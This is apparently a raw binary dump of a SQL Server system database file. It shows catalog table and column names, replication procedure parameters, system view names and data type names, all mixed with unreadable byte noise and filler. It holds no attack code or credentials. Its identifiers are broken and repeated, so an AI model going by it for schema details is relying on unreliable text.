8parent_task_address6h@9(pdw_node_id6q event6q data6q (pdw_node_id6 GRANTOR6 GRANTEE6,TABLE_CATALOG6*TABLE_SCHEMA6&TABLE_NAME6.PRIVILEGE_TYPE6*IS_GRANTABLE6_&@publisher6_,@publisher_db6_*@publication6_F@distributor_security_mode6_6@distributor_login6_<@distributor_password6_6@subscription_type6I@artid6I"@article6I&@publisher6I,@publisher_db6I*@publication6I(@dest_table6I@owner6I&@cft_table6I	"@columns6:2destination_type6:6destination_length6:<destination_precision6:4destination_scale6::destination_nullable6:Bdestination_createparams6:"dataloss6:&is_default6:*@source_dbms6:0@source_version6:*@source_type6:.@source_length6:4@source_precision6:,@source_scale6:2@source_nullable6:4@destination_dbms6:	:@destination_version6:
.@defaults_only6:(@mapping_id6DW0 @dbname6DW0@value6Ws%&@publisher6Ws%2@distribution_db6Ws%.@security_mode6Ws%@login6Ws%$@password6Ws%6@working_directory6Ws%"@trusted6Ws%8@encrypted_password6Ws%	2@thirdparty_flag6Ws%
0@publisher_type6\1&@publisher6\1@owner6\1&@tablename6(+$@maxtrans6U&@publisher6U(@subscriber6U@type6U@login6U$@password6U6@commit_batch_size6U6@status_batch_size6U2@flush_frequency6U	0@frequency_type6U
8@frequency_interval6UJ@frequency_relative_interval6UJ@frequency_recurrence_factor6U
4@frequency_subday6UF@frequency_subday_interval6UD@active_start_time_of_day6U@@active_end_time_of_day6U6@active_start_date6U2@active_end_date6U.@retryattempts6U(@retrydelay6U*@description6U.@security_mode6P @job_id6#$@agent_id6#(@thread_num6#,@counter_desc6#.@counter_value6O_(@iterations6O_"@profile60]&@publisher60],@publisher_db60]*@publication60](@subscriber60].@subscriber_db6ƺv8@original_publisher6ƺv,@publisher_db6ƺv<@redirected_publisher6B"@maxrows6B&@temp_cont6B&@tablenick6B"@rowguid6B@pubid6B*@compatlevel6B>@enumentirerowmetadata6B<@blob_cols_at_the_end6B	B@maxschemaguidforarticle6"@genguid60@subscribernick6*@compatlevel63*@publication63*@snap_status63&@snap_time63.@snap_comments63.@snap_duration63(@log_status63	$@log_time63
,@log_comments63,@log_duration6\1&@publisher6\1@owner6\1&@tablename6@"@article6@*@publication6@$@is_debug6@@alter6(+$@maxtrans6$&@job_login6$,@job_password6$$@job_name6$B@publisher_security_mode6$2@publisher_login6$8@publisher_password6$&@publisher6$0@publisher_type6l&@job_login6l,@job_password6l2@publisher_login6l8@publisher_password6l&@publisher6>.@fulltablename6>.@schema_option6>(@scriptonly6:,@publisher_id6:,@publisher_db6:*@publication6:.@subscriber_id6:.@subscriber_db6:6@subscription_type6:6@keep_for_last_run6:$@job_only6U&@publisher6U(@subscriber6U@type6U@login6U$@password6UNFlhn,pjH ^
PzR(`zZ.^8 d>B~"
H"
|
|
$D
JR86dz	B	tT		
8



b
	V"
^2.
Z)*6 ^)IO8@A@@@@ !!!!`)@Y6*
 pwdhash6*sid6*status6*type6+ catalog6+cid6+	.connecttimeout6+id6+modate6+name6+ product6+"provider6+
*querytimeout6+status6,class6, created6,id6, intprop6,"modified6,name6,nsid6,status6-id6-$msglangid6-"severity6-status6-text6.cert6."encrtype6.id6.issuer6.
.lastpkeybackup6.name6.pkey6.snum6.	status6.&thumbprint6/lgnid6/modate6/name6/srvid6/status60lgnid60modate60name60 pwdhash60srvid60status61class61id61name61subid61value62
chk62(collationid62
 created62dflt62id62length62"modified62name62prec62scale62schid62	status62xtype63class63
(collationid63 idmajor63 intprop63length63name63prec63	scale63status63subid63utype63xtype66	$dataspace66"fillfact66id66indid66 intprop66
lobds66name66rowset66status66"tinyprop66type67 idmajor67 idminor67 intprop67status67subid67$tinyprop167$tinyprop267$tinyprop368"affinity68$authrealm68"authtype68bstat68dfltdb68dfltdm68
dfltns68encalg68id68 maxconn68name68
port168port268"protocol68pstat68site68tstat68type68	 typeint68"wsdlproc69alias69id69 nmspace69 objname69status6:class6: created6:id6: intprop6:	"modified6:name6:nsid6:status6:type6;,audit_spec_id6;class6; grantee6;id6;state6;subid6;type6<"imageval6<objid6<"subobjid6<"valclass6<valnum6<value6> base_id6>$column_id6>"data_ptr6>,encoding_type6> hobt_id6>	$magnitude6>
(max_data_id6>(min_data_id6>&null_value6>*on_disk_size6>
<primary_dictionary_id6>$row_count6>@secondary_dictionary_id6>&segment_id6>status6> version6?$column_id6?
"data_ptr6?,dictionary_id6?(entry_count6?flags6? hobt_id6? last_id6?	*on_disk_size6?type6? version6@class6@ created6@id6@ intprop6@"modified6@name6@status6@type6Aclass6A indexid6Aobjid6A"rowsetid6A$rowsetnum6Astatus6Cid6Cname6Cremsvc6Cscid6Cstatus6Ddlgerr6Ddlgid6D enqtime6D&finitiator6D*frombrkrinst6D fromsvc6D&hdrpartlen6D$hdrseclen6D msgbody6D&msgbodylen6Dmsgenc6Dmsgid6Dmsgref6D$msgseqnum6D	 msgtype6D
"rsndtime6Dstatus6D"svccontr6D&tobrkrinst6Dtosvc6D
"unackmfn6Eaddr6E"brkrinst6Eid6E"lifetime6E miraddr6Ename6Eremsvc6Gid6G"refcount6G&service_id6Gstatus6Hdiagid6Hhandle6H$initiator6H sendseq6H"sendxact6I	"contract6I$convgroup6Idiagid6I$dlgopened6I"dlgtimer6I
$enddlgseq6I(farbrkrinst6I&farprincid6Ifarsvc6I(firstoorder6Ihandle6I$initiator6I"inseskey6I&inseskeyid6I&lastoorder6I*lastoorderfr6I"lifetime!!!!!!!!!!vT0~Z8nJ,tZ:b@"d>dD(
fB vT4~^>"hJ$Z4tR.tR8hJ0dD$



z
`
D
"

|^@"zV2



~
\
>
 

				v	R	6		rR2
|bH&x\@&bF(tZ@&nP.
`J*jL6`

b)
:/%Az76 bitpos6$$ag_db_id6%class6'&is_cached6%H0$@delfile6-'1&@loginame6$(2<page_lock_wait_count6'
5<read_only_replica_id6'6*@level2type6LSU7Nio_completion_routine_address6@	Q.logical_reads6`R<server_instance_name6)`U4end_log_block_id6V4recovery_unit_id6
WBLog Record Fixed Length61$@fname1961*Current LSN6
&Xact Type6Vȼ6is_case_sensitive6o/4SessionLoginName6$group_id6w!*@resolution6y status6_q2product_version6e*pdw_node_id6Hsupports_alternate_streams6[5a<waiting_task_address66e&@rolename6緰,sequence_num6hA<kernel_paged_pool_kb6P|B^database_transaction_log_record_count6ojC>dispatcher_timeout_ms66D"@server65qG.@table_server6pdatabase_transaction_log_bytes_reserved_system6$group_id6&OBJECT_ID62ROUTINE_CATALOG6s2@parameter_name]6=P$@indname6`n"address6.@geog6
@resource_monitor_state6u*@force_null6WJlog_consumption_deactivated6 P$dataloss6C2@frequency_type6 >namespace_document_id6Y0pages_in_bytes6܉	2@frequency_type6%*database_id6&DATA_TYPE6us6@destination_dbms6'.dest_nullable6)"wait_id6}*COLUMN_NAME6O.@publisher_db6mp&@rolename6Zs@@optional_command_line6Zt$@article6ku6@frequency_subday6Ǒv,@publication6_	&@password61
<owning_principal_sid6ʎ
2@update_mode_id6:K(@tracer_id6|x:started_by_sqlservr6lzD@publisher_security_mode69{&@rolename6܍V}&@proctype6$.@publisher_db6 @1data6:&@job_only6%E4ORDINAL_POSITION6 	@mode6z	*@session_id6F
0@table_catalog6bC
@skip6N
spid6g
$@maxrows6!8@independent_agent64(@tablenick60@function_name6C2@metadata_type76C0@lineage_new186C0@lineage_old406C(@rowguid756ZiS(&@rowguid56)<CHARACTER_SET_SCHEMA6w*&@rowguid56++,@srvrolename6,4@ident_increment66֜- @subid6..@missing_cols6p,@publication610Savepoint Name6y(@publisherdress6G,cache_buffer6VJSCHEMACOLLECTION_SCHEMANAME6J88CHARACTER_SET_NAME6.@geog6
@resource_monitor_state6u*@force_null6WJlog_consumption_deactivated6 P$dataloss6C2@frequency_type6 >namespace_document_id6Y0pages_in_bytes6܉	2@frequency_type6%*database_id6&DATA_TYPE6us6@destination_dbms6'.dest_nullable6)"wait_id6}*COLUMN_NAME6O.@publisher_db69VwFSS_UDT_ASSEMBLY_TYPE_NAME6mp&@rolename6uq0authority_name6xOr,@publication6Zs@@optional_command_line6Zt$@article6ku6@frequency_subday6Ǒv,@publication6 gw,@distributor60@security_mode6_	&@password61
<owning_principal_sid6M>@@use_default_datatypes6V&@ins_proc6ʎ
2@update_mode_id6:K(@tracer_id6
.@identity_col6|x:started_by_sqlservr6Py(@publisher6lzD@publisher_security_mode69{&@rolename6!n|,@table_owner6܍V}&@proctype6u~(@publisher6C*@table_name6$.@publisher_db6 @1data6@p26:&@job_only6%E4ORDINAL_POSITION6.$4@cursor_identity6-+e,partition_id61:F@referenced_object_schema6	B@refresh_synctran_procs6 	@mode6z	*@session_id6	*@subscriber6c	text6E	"@hexstr6Z	.idle_sessions6^^	L@frequency_recurrence_factor6F
0@table_catalog6
,@publication6bC
@skip6N
spid6g
$@maxrows6!8@independent_agent64(@tablenick60@function_name6C2@metadata_type76C0@lineage_new186C0@lineage_oF&n2`bX(	l
XPP	64"	
p2
x	h
h8
.~nlL,n
bB
"F	NZ6


(
`)D
^6I$outseskey6I(outseskeyid6I princid6I"priority6I rcvfrag6Ircvseq6Istate6Istatus6I
svcid6Isysseq6Jclass6Jdepid6J"depsubid6J indepid6J&indepsubid6Jstatus6Kclass6Kdepid6K"depsubid6K indepid6K&indepsubid6Kstatus6Nclass6Nguid6Nid6Nstatus6Nsubid6O created6Ocsn6Oepoch6Oid6Olsn6Pcrdate6Piname6P$ipipename6Plsid6Pmodate6Ppid6Pstatus6P$sysdbpath6R cprelid6R"datasize6Rfragid6R$fragobjid6R itemcnt6Rrowcnt6Rstatus6Rts6T(database_id6T"fileguid6T,register_date6T,registered_by6T version6Ulcid6Ustatus6U&stoplistid6U"stopword6V0guid_identifier6V.int_identifier6V(property_id6V2property_list_id6V,property_name6V6string_description6Wcount6W msgbody6Wmsgref6Y created6Ycsn6Yepoch6Yhigh6Y
 history6Yid6Ylow6Y"modified6Yrowcnt6Ysize6Y	status6Ytgid6Zhash6Zname6Znid6Zqid6[defval6[	deriv6[enum6[id6[kind6[nameid6[ nmscope6[qual6[
status6["symspace6[uriord6[xsdid6\compid6\dflt6\kind6\ord6\status6]defval6]"maxoccur6]"minoccur6] ordinal6]"placedid6]$placingid6]status6^class6^crypto6^id6^status6^&thumbprint6^type6_$algorithm6_$bitlength6_"encrtype6_id6_"modified6_name6_pkey6_	pukey6_&thumbprint6`	$batchtext6` created6`hash6`id6`"modified6`name6`
0paramorhinttext6` scopeid6`$scopetype6`status6aclass6a idmajor6a intprop6aname6astatus6asubid6b"depclass6bdepid6b&indepclass6b indepdb6b$indepname6b(indepschema6b(indepserver6bnumber6b	status6Xv8binary_message_body6Xv<conversation_group_id6Xv8conversation_handle6Xv0fragment_bitmap6Xv
,fragment_size6Xv:message_enqueue_time6Xv&message_id6Xv@message_sequence_number6Xv0message_type_id6Xv,next_fragment6Xv"priority6Xv,queuing_order6Xv
8service_contract_id6Xv	&service_id6Xvstatus6Xv&validation6x8binary_message_body6x<conversation_group_id6x8conversation_handle6x0fragment_bitmap6x
,fragment_size6x:message_enqueue_time6x&message_id6x@message_sequence_number6x0message_type_id6x,next_fragment6x"priority6x,queuing_order6x
8service_contract_id6x	&service_id6xstatus6x&validation6<8z8binary_message_body6<8z<conversation_group_id6<8z8conversation_handle6<8z0fragment_bitmap6<8z
,fragment_size6<8z:message_enqueue_time6<8z&message_id6<8z@message_sequence_number6<8z0message_type_id6<8z,next_fragment6<8z"priority6<8z,queuing_order6<8z
8service_contract_id6<8z	&service_id6<8zstatus6<8z&validation6u\{(column_guid6u\{ file_id6u\{<filestream_value_name6u\{,oplsn_bOffset6u\{*oplsn_fseqno6u\{*oplsn_slotid6u\{(rowset_guid6u\{
size6u\{	status6u\{Btransaction_sequence_num6|&commit_csn6|&commit_lbn6|(commit_time6|$commit_ts6|"dbfragid6| xdes_id6x}$item_guid6x},oplsn_bOffset6x}*oplsn_fseqno6x}*oplsn_slotid6x}"table_id!!!!!!!!!!!!"~^<bD*F&\0rL~B
h<~XNtH&d*Z"rR,zZ> pZ@ dN,



p
R
6

nP2lN4




r
Z
B
(

				|	d	N	.		f0|L*T2
tV4^B$hR8z^@fH,`	Y
6(
P;?Oq~6|(ci_commit_ts6cl6cl6cl6cl6cl6*cl6+cl6.cl6/cl60cl6Hcl6Icl6Ncl6Pcl6Tcl6[cl6\cl6]cl6^cl6_cl6clst6clst6	clst6clst6clst6clst6clst6clst6clst6"clst6)clst6,clst6-clst62clst63clst66clst67clst68clst69clst6:clst6<clst6@clst6Cclst6Dclst6Eclst6Gclst6Jclst6Kclst6Oclst6Rclst6Uclst6Vclst6Wclst6Yclst6Zclst6`clst6aclst6bclst6clust6dcl6/cl6%.cl6"B_WA_Sys_00000003_00000022JFpee6@B_WA_Sys_00000002_00000040FEB_/nuv=+"5R"qo$D|(.|G@֩)R'ZRtjYx}ȟq *JPӟu"'*h4@Mk%zu8{%<Z66"B_WA_Sys_00000008_000000226"B_WA_Sys_00000006_00000022iS	4XWi P: 
>'!EvZa7
p㸀ƈ06,B_WA_Sys_00000004_0000002C6,B_WA_Sys_00000002_0000002C66B_WA_Sys_00000004_0000003666B_WA_Sys_00000002_000000366JB_WA_Sys_00000003_0000004A6JB_WA_Sys_00000001_0000004A66B_WA_Sys_00000007_000000366)B_WA_Sys_0000000B_000000296)B_WA_Sys_00000005_000000296)B_WA_Sys_00000004_000000296)B_WA_Sys_00000002_000000296$BackupName62BackupDescription6$BackupType6$BackupSize6*CheckpointLSN6.BackupStartDate60BackupFinishDate6 "BindingID6*,BeginsLogChain63:BackupTypeDescription64*BackupSetGUID62,AUTO_INCREMENT6)	(acquire_time6taddress6< alert_id6<2alert_instance_id6}ȟ
.client_app_name6*h alert_id6*h2alert_instance_id6.active_requests6(active_loads6,active_backups6	.active_restores6(.
"client_id6(. app_name6$best_match62auto_unique_value6R	*bytes_per_sec6R
.bytes_processed6R2buffers_available6W#,AUTO_INCREMENT6W#charbin6i,attribute_name6i.attribute_value6' alert_id6'$alert_name60allocated_memory60available_memory6Xv6binary_message_body6x6binary_message_body6<8z6binary_message_body2_000000366JB_WA_Sys_00000003_0000004A6JB_WA_Sys_00000001_0000004A66B_WA_Sys_00000007_000000366)B_WA_Sys_0000000B_000000296)B_WA_Sys_00000005_000000296)B_WA_Sys_00000004_000000296)B_WA_Sys_00000002_000000296q event6q data6q &pdw_node_id6k&pdw_node_id6k$process_id6k&target_name6k$queue_size6k2lost_events_count6$BackupName62BackupDescription6$BackupType6,ExpirationDate6$Compressed6 Position6$DeviceType6	 UserName6
$ServerName6(DatabaseName6.DatabaseVersion6
8DatabaseCreationDate6$BackupSize6 FirstLSN6LastLSN6*CheckpointLSN62DatabaseBackupLSN6.BackupStartDate60BackupFinishDate6"SortOrder6 CodePage6.UnicodeLocaleId6<UnicodeComparisonStyle64CompatibilityLevel60SoftwareVendorId68SoftwareVersionMajor68SoftwareVersionMinor68SoftwareVersionBuild6&MachineName6Flags6 "BindingID6!,RecoveryForkID6""Collation6#$FamilyGUID6$2HasBulkLoggedData6%$IsSnapshot6&$IsReadOnly6'(IsSingleUser6(4HasBackupChecksums6)"IsDamaged6*,BeginsLogChain63:BackupTypeDescription64*BackupSetGUID62,AUTlT<$|dL4t\D,lT<$Dp\H4 l4
@
&x
n
~fPfN*b
B|pR	.	&

h
6
`f
NB
r
		6


F	V	*Lf
6
~d	&p~
XzB	bn*
2.	J"	r
	|Z
N
Z:	>

Z6f7	(.*^X
Y
^
b
8!!!!`B
,d!u&sys&$ShowPlanXML!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`
Z\*^8!!!!`	"2~iB&bigint&binary&hbit&char&(date&=datetime&*datetime2&+)datetimeoffset&jdecimal&>float&geography&geometry&#hierarchyid&"image&8int&<money&nchar&cntext&lnumeric&nvarchar&;real&:'smalldatetime&4smallint&z!smallmoney&b#sql_variant&sysname&#text&)time&timestamp&0tinyint&$-uniqueidentifier&varbinary&varchar&xml!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!mN9$	lO4fO4y`
Z2{1*^8!!!!`	"2i>&bigint&binary&hbit&char&(date&=datetime&*datetime2&+)datetimeoffset&jdecimal&>float&geography&geometry&#hierarchyid&"image&8int&<money&nchar&cntext&lnumeric&nvarchar&;real&:'smalldatetime&4smallint&z!smallmoney&b#sql_variant&sysname&#text&)time&timestamp&0tinyint&$-uniqueidentifier&varbinary&varchar&xml!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!mN9$	lO4fO4y`
Z2>^8!!!!`
X"\RHw, &˿wFEventNotificationErrorsQueue&uFQueryNotificationErrorsQueue&y2ServiceBrokerQueue&$all_columns&*all_parameters&$all_objects& all_views&,all_sql_modules&
:change_tracking_tables&_.assembly_modules&X*assembly_types&R"assemblies&Q*assembly_files&P4assembly_references&Javailability_replicas_internal&4availability_groups&ʈdDavailability_groups_cluster&78availability_replicas&Javailability_databases_cluster&@change_tracking_databases&)*backup_devices&p.allocation_units&<all_extended_procedures&-&certificates&+,asymmetric_keys&'
Vavailability_read_only_routing_lists&Favailability_group_listeners&Ν^availability_group_listener_ip_addresses&(.8_dm_pdw_exec_sessions&|G8_dm_pdw_exec_requests&@8_dm_pdw_request_steps&֩6_dm_pdw_sql_requests&*_dm_pdw_errors&)(_dm_pdw_waits&R4_dm_pdw_dms_workers&'<_pdw_loader_backup_runs&ZR:_pdw_loader_run_stages&t(_dm_pdw_nodes&4_dm_pdw_node_status&jY2_dm_pdw_wait_stats&2_pdw_distributions&x0_dm_pdw_dms_cores&._dm_pdw_sys_info&}ȟ:_dm_pdw_query_stats_xe&q D_dm_pdw_query_stats_xe_file&*2_dm_pdw_os_threads&L_dm_pdw_os_performance_counters&F_pdw_health_component_groups&JP:_pdw_health_components&ӟN_pdw_health_component_properties&u"X_pdw_health_component_status_mappings&'2_pdw_health_alerts&L_dm_pdw_component_health_status&*hL_dm_pdw_component_health_alerts&8_dm_pdw_os_event_logs&2_pdw_diag_sessions&4@M._pdw_diag_events&B_pdw_diag_event_properties&kH_dm_pdw_diag_processing_stats&%T_pdw_column_distribution_properties&zuR_pdw_table_distribution_properties&84_pdw_table_mappings&{4_pdw_index_mappings&%:_pdw_database_mappings&<Z_dm_pdw_component_health_active_alerts&:_dm_pdw_online_backups&Z6J_pdw_loader_backup_run_details&!SCHEMATA&ӘTABLES&k0TABLE_CONSTRAINTS&.TABLE_PRIVILEGES&p]COLUMNS&V4COLUMN_DOMAIN_USAGE&bĶ0COLUMN_PRIVILEGES&NDOMAINS&A2DOMAIN_CONSTRAINTS&7.KEY_COLUMN_USAGE&P<REFERENTIAL_CONSTRAINTS&S0CHECK_CONSTRAINTS&:CONSTRAINT_TABLE_USAGE&@{<CONSTRAINT_COLUMN_USAGE&oEVIEWS&o.VIEW_TABLE_USAGE&㜂0VIEW_COLUMN_USAGE&ROUTINES&J8"PARAMETERS&0+8,ROUTINE_COLUMNS&> SEQUENCESdpoints&4endpoint_webmethods&G,configurations$& *configurations&"Pdm_hadr_internal_wsfc_ag_replicas&>hVdm_hadr_internal_wsfc_ag_logical_dbs&Vdm_hadr_internal_wsfc_ag_db_replicas&"32Tdm_hadr_internal_transport_partners&Javailability_replicas_internal&4availability_groups&ʈdDavailability_groups_cluster&78availability_replicas&Javailability_databases_cluster&+ databases&@change_tracking_databases&2database_mirroring&>database_recovery_status&Wschemas& sequences&V4database_principals&T8database_role_members&*Fdatabase_mirroring_witnesses&)*backup_devices&(&master_files&@*database_files&q"partitions&p.allocation_units&?4extended_properties&S6database_permissions&$credentials&Fserver_principal_credentials&
6master_key_passwords&'0server_principals&&4server_role_members&%2server_permissions&$servers&#(remote_logins&"(linked_logins&4<remote_service_bindings&3routes&|4extended_procedures&<all_extended_procedures&UzFdm_db_persisted_sku_features&<cryptographic_providers&-&certificates&+,asymmetric_keys&/,key_encryptions&..crypt_properties&$plan_guides&2`*server_audits$&(server_audits&2server_file_audits&Dserver_audit_specifications&Rserver_audit_specification_details&Hdatabase_audit_specifications&
Vdatabase_audit_specification_details&8column_store_segments&'
Vavailability_read_only_routing_lists&Favailability_group_list2rXl8,DnBl

42

F
lnfX
Z		J			6,TR0

8~h|d0L`
Z"rK4^Z]FY]@8@!!!!`
X"cG#&&6conversation_groups$&<conversation_endpoints$&ycolumns&$Tcolumn_xml_schema_collection_usages&!2column_type_usages&$all_columns&*all_parameters&$all_objects& all_views&,all_sql_modules&
:change_tracking_tables&u.computed_columns&i0check_constraints&_.assembly_modules&X*assembly_types&R"assemblies&Q*assembly_files&P4assembly_references&B4conversation_groups&A:conversation_endpoints&G,configurations$& *configurations&Javailability_replicas_internal&4availability_groups&ʈdDavailability_groups_cluster&78availability_replicas&Javailability_databases_cluster&@change_tracking_databases&)*backup_devices&p.allocation_units&$credentials&<all_extended_procedures&<cryptographic_providers&-&certificates&+,asymmetric_keys&..crypt_properties&8column_store_segments&@column_store_dictionaries&<conversation_priorities&'
Vavailability_read_only_routing_lists&$50column_definition&Favailability_group_listeners&Ν^availability_group_listener_ip_addresses&(.8_dm_pdw_exec_sessions&|G8_dm_pdw_exec_requests&@8_dm_pdw_request_steps&֩6_dm_pdw_sql_requests&*_dm_pdw_errors&)(_dm_pdw_waits&R4_dm_pdw_dms_workers&'<_pdw_loader_backup_runs&ZR:_pdw_loader_run_stages&t(_dm_pdw_nodes&4_dm_pdw_node_status&jY2_dm_pdw_wait_stats&2_pdw_distributions&x0_dm_pdw_dms_cores&._dm_pdw_sys_info&}ȟ:_dm_pdw_query_stats_xe&q D_dm_pdw_query_stats_xe_file&*2_dm_pdw_os_threads&L_dm_pdw_os_performance_counters&F_pdw_health_component_groups&JP:_pdw_health_components&ӟN_pdw_health_component_properties&u"X_pdw_health_component_status_mappings&'2_pdw_health_alerts&L_dm_pdw_component_health_status&*hL_dm_pdw_component_health_alerts&8_dm_pdw_os_event_logs&2_pdw_diag_sessions&4@M._pdw_diag_events&B_pdw_diag_event_properties&kH_dm_pdw_diag_processing_stats&%T_pdw_column_distribution_properties&zuR_pdw_table_distribution_properties&84_pdw_table_mappings&{4_pdw_index_mappings&%:_pdw_database_mappings&<Z_dm_pdw_component_health_active_alerts&:_dm_pdw_online_backups&Z6J_pdw_loader_backup_run_details&p]COLUMNS&V4COLUMN_DOMAIN_USAGE&bĶ0COLUMN_PRIVILEGES&S0CHECK_CONSTRAINTS&:CONSTRAINT_TABLE_USAGE&@{<CONSTRAINT_COLUMN_USAGEbmethods&G,configurations$& *configurations&"Pdm_hadr_internal_wsfc_ag_replicas&>hVdm_hadr_internal_wsfc_ag_logical_dbs&Vdm_hadr_internal_wsfc_ag_db_replicas&"32Tdm_hadr_internal_transport_partners&Javailability_replicas_internal&4availability_groups&ʈdDavailability_groups_cluster&78availability_replicas&Javailability_databases_cluster&+ databases&@change_tracking_databases&2database_mirroring&>database_recovery_status&Wschemas& sequences&V4database_principals&T8database_role_members&*Fdatabase_mirroring_witnesses&)*backup_devices&(&master_files&@*database_files&q"partitions&p.allocation_units&?4extended_properties&S6database_permissions&$credentials&Fserver_principal_credentials&
6master_key_passwords&'0server_principals&&4server_role_members&%2server_permissions&$servers&#(remote_logins&"(linked_logins&4<remote_service_bindings&3routes&|4extended_procedures&<all_extended_procedures&UzFdm_db_persisted_sku_features&<cryptographic_providers&-&certificates&+,asymmetric_keys&/,key_encryptions&..crypt_properties&$plan_guides&2`*server_audits$&(server_audits&2server_file_audits&Dserver_audit_specifications&Rserver_audit_specification_details&Hdatabase_audit_specifications&8column_store_segments&@column_store_dictionaries&<conversation_priorities&0B`R<lhB^h2f(`nD"ft

v


0
VXPBD
r		n4 ><	t	
l

Z"n.^^MZ^A8 !!!!`)y)vB8ǔ6!4redostartforkguid6*redostartlsn6,redotargetlsn6	size6status6"dbfragid6fgguid6fgid6lgfgid6name6phfgid6status6type6$backuplsn6$createlsn6"dbfragid6*diffbaseguid6(diffbaselsn6.diffbaseseclsn6*diffbasetime6
 droplsn6"fileguid6fileid6$filestate6"filetype6.firstupdatelsn6"forkguid6 forklsn6forkvc6	growth6grpid6.internalstatus6,lastupdatelsn6
lname6 maxsize6pname60readonlybaselsn6(readonlylsn6*readwritelsn64redostartforkguid6*redostartlsn6,redotargetlsn6size6status6
$batchsize64bXVTDocidUseBaseT6crend6"crerrors6crrows6	"crschver6 crstart6
"crtsnext6crtype6fgid6id6indid6$nextdocid6(sensitivity6status6 created6
(deflanguage6 dfltsch6id6	"modified6name6"password6sid6status6type6"category6$cmptlevel6crdate6id6"modified6name6
scope6sid6status6 status26	(svcbrkrguid6class6 grantee6 grantor6id6state6subid6type6"
 created6"id6"	 intprop6""modified6"name6" nsclass6"nsid6"pclass6"pid6"status6" status26"type6)chk6)colid6)
(collationid6)dflt6)id6)idtval6)length6)"maxinrow6)name6)number6)prec6)	scale6)status6)utype6)
